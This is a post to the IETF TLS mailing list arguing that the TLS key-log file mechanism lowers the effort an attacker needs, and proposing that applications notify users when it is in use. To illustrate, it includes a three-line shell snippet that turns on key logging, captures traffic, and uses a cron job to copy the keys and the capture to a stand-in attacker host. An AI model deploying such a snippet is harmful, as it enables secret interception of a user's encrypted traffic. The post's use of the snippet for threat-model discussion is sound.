> I disagree with this because if an attacker could write to the environment
> variable used by the program or is able to side-load a library and capture
> outbound packets, it is very likely that they already have privileged
> access to the machine.

I am questioning the threat model. Just like Perfect Forward Secrecy comes at 
an unbearable cost if you believe that TLS cannot provide ANY security if you 
ever get compromised (The advocate might say: after all, the database is not 
encrypted, there are backups, ...).

In that spirit, let us assume that some individual has root access to an 
average user's computer.
What could theoretically happen? Anything. Agreed.
What could practically happen? Well, it depends...

Say the user is using Linux (that is what I have, I assume Windows has similar 
functionality):

```sh
echo "export SSLKEYLOGFILE=/tmp/keys" >> /etc/profile
echo "tcpdump -w /tmp/traffic &" >> /etc/profile
echo "0 * * * * scp /tmp/keys /tmp/traffic u...@attacker.com:~/" >> /etc/crontab
```
(You get the point. Let us assume that the kinks would be filtered out before 
deploying :) )

This is simple enough to fit in a forum post
and fortunately for our attacker, the TCP dumps can now be automatically parsed 
using a range of tools since all relevant protocols 
(TCP/TLS/HTTP/SMTP/Twitter-API/...) are well documented.

Next, let us go out of our way and assume that interoperable file formats did 
not exist.
Again, in theory, our attacker could replace programs to leak the keys, 
side-load a library, perform memory dumps and analyze them, etc.
Is he going to do that, though?

All the above methods do not scale to many programs at once. In each case, an 
attacker would first need to figure out a way to do that (and do it reliably in 
an automated fashion).
It would suprise me to learn that the same potential would rest in three lines 
of shell code.
Yes, state level actors, etc. have enough resources to not care. How about an 
abusive partner in your relationship? A bit of frustration on their side might 
go a long way.

This is the difference I am worried about. It is not quantifiable in the 
cryptographic sense (Any attacker with resources X has probability < Y to 
achieve Z), but it is relevant in practice.

We can make the adversary work a bit harder using very simple measures. For 
instance, by suggesting that applications should notify their users if this 
method is used, the above gain disappears.
Cost: An extra if clause in the code to display the happy green location bar. 
Effect: Can hardly be less than that.

> There already is widely deployed software that leaks key information.  
> OpenSSL has a trace facility, normally compiled out, that reports PKCS#12 
> passwords[1]. The keylog stuff *is* compiled-out by default. The OpenSSL 
> library also provides a register-callback function that will get private key 
> material and that is always enabled which the OpenSSL project does not 
> consider a security risk[2]. I assume OpenSSL qualifies as widely-deployed. :)

This is scary as well. I did not know that :)
Still, this is one implementation. We are considering interoperability-enabling 
documents.
If misuse of this API should become a real-world issue, the OpenSSL project 
will almost certainly be able to remidy it faster than the IETF.

Attachment: smime.p7s
Description: S/MIME cryptographic signature

_______________________________________________
TLS mailing list -- tls@ietf.org
To unsubscribe send an email to tls-le...@ietf.org

Reply via email to